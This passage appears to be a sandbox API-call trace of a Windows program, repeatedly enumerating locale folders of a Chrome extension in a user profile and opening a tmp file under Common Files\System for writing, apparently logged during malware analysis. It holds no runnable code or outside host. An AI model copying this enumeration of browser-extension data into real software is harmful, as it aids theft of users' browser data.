ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.655] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.655] GetLastError () returned 0x12 [0145.656] AreFileApisANSI () returned 1 [0145.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.656] GetFileType (hFile=0x194) returned 0x1 [0145.656] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.656] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.656] GetLastError () returned 0x12 [0145.656] AreFileApisANSI () returned 1 [0145.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.656] GetFileType (hFile=0x194) returned 0x1 [0145.656] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.657] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.657] GetLastError () returned 0x12 [0145.657] AreFileApisANSI () returned 1 [0145.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.657] GetFileType (hFile=0x194) returned 0x1 [0145.657] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.657] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.657] GetLastError () returned 0x12 [0145.658] AreFileApisANSI () returned 1 [0145.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.658] GetFileType (hFile=0x194) returned 0x1 [0145.658] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.658] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.658] GetLastError () returned 0x12 [0145.658] AreFileApisANSI () returned 1 [0145.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.658] GetFileType (hFile=0x194) returned 0x1 [0145.658] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.659] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.659] GetLastError () returned 0x12 [0145.659] AreFileApisANSI () returned 1 [0145.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.659] GetFileType (hFile=0x194) returned 0x1 [0145.659] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.659] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.660] GetLastError () returned 0x12 [0145.660] AreFileApisANSI () returned 1 [0145.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.660] GetFileType (hFile=0x194) returned 0x1 [0145.660] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.660] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.660] GetLastError () returned 0x12 [0145.660] AreFileApisANSI () returned 1 [0145.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.660] GetFileType (hFile=0x194) returned 0x1 [0145.661] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.661] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.661] GetLastError () returned 0x12 [0145.661] AreFileApisANSI () returned 1 [0145.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.661] GetFileType (hFile=0x194) returned 0x1 [0145.661] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.709] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.709] GetLastError () returned 0x12 [0145.709] AreFileApisANSI () returned 1 [0145.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.710] GetFileType (hFile=0x194) returned 0x1 [0145.710] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.710] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.710] GetLastError () returned 0x12 [0145.710] AreFileApisANSI () returned 1 [0145.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.710] GetFileType (hFile=0x194) returned 0x1 [0145.711] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.711] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.711] GetLastError () returned 0x12 [0145.711] AreFileApisANSI () returned 1 [0145.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.711] GetFileType (hFile=0x194) returned 0x1 [0145.711] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.712] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.712] GetLastError () returned 0x12 [0145.712] AreFileApisANSI () returned 1 [0145.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.712] GetFileType (hFile=0x194) returned 0x1 [0145.712] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.712] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.712] GetLastError () returned 0x12 [0145.712] AreFileApisANSI () returned 1 [0145.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.713] GetFileType (hFile=0x194) returned 0x1 [0145.713] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.713] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.713] GetLastError () returned 0x12 [0145.713] AreFileApisANSI () returned 1 [0145.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.713] GetFileType (hFile=0x194) returned 0x1 [0145.713] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.714] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.714] GetLastError () returned 0x12 [0145.714] AreFileApisANSI () returned 1 [0145.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.714] GetFileType (hFile=0x194) returned 0x1 [0145.714] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.714] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.714] GetLastError () returned 0x12 [0145.714] AreFileApisANSI () returned 1 [0145.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.714] GetFileType (hFile=0x194) returned 0x1 [0145.715] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.715] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.715] GetLastError () returned 0x12 [0145.715] AreFileApisANSI () returned 1 [0145.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.715] GetFileType (hFile=0x194) returned 0x1 [0145.715] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.716] FindClose (in: 